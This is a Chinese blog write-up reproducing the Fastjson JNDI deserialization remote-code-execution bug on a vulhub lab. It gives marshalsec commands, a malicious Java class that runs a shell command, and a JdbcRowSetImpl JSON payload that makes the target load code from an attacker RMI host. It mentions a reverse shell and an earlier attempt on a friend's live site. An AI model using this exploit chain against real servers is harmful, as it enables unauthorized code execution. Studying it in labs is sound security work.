0x00:前言

這個漏洞爆出來之後本來一直打算挑時間去復現，後來一個朋友突然發來他們站點存在fastjson這個漏洞被白帽子發了報告。既然漏洞環境送上門來，我便打算直接下手試一試。在我的想象中當然是一發入魂回車shell(大霧），事實證明事情永遠不會這麼簡單，我懷疑他們偷偷修復了這個漏洞因為我rmi服務器連響應都沒收到....因此我是基於P師傅的vulhub環境復現的。

0x01:環境準備

直接將github上的vulhub下載下來，進入fastjson漏洞環境目錄下，執行

dcoker-compose up -d

fastjsonredisserialize用法_服務器

開啓環境

接着在自己的vps裏開啓rmi或者ldap服務

推薦使用marshalsec快速開啓rmi或ldap服務

地址：

https://github.com/mbechler/marshalsec

下載marshalsec，使用maven編譯jar包


mvn clean package -DskipTests

 開啓rmi或ldap服務


java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

 

fastjsonredisserialize用法_服務器_02

這裏的TouchFile是我編譯好的惡意類，將編譯好的TouchFile.class放在tomcat webapps/ROOT 目錄下，java源碼如下

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

開啓tomacat，確認可以訪問http://ip:8080/TouchFile.class

為什麼要確認這一點呢，因為我一開始把class文件放在了webapps目錄下一直沒復現成功。後來我一看tomcat的access-log發現我rmi確實請求訪問惡意類了，但是是404...我一度懷疑人生了都...

0x02:攻擊

直接請求搭建好的漏洞環境，端口是8090 將方法改成POST

fastjsonredisserialize用法_服務器_03

 payload:

"a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:8088/TouchFile",
        "autoCommit":true
    }
}

 發送請求後，rmi服務器收到響應，遠程加載惡意類TouchFile.class

fastjsonredisserialize用法_github_04

可以看到已成功執行touch /tmp/success

fastjsonredisserialize用法_java_05

同理 反彈shell

fastjsonredisserialize用法_github_06

 

0x03:一些坑點

因為之前的服務器到期了一直沒買新的，這次的vps是剛買的，買的阿里雲忘了配置防火牆了就很尷尬...rmi一開始沒收到請求我還很疑惑，結果我朋友問我你防火牆配置了嗎....

接着就是這個惡意類放置路徑的問題（我java實在是太菜了 這不是坑點 這是我太菜了）

最後就是rmi和ldap這種利用方式對版本是有要求的，它們分別在以下版本被修復

fastjsonredisserialize用法_github_07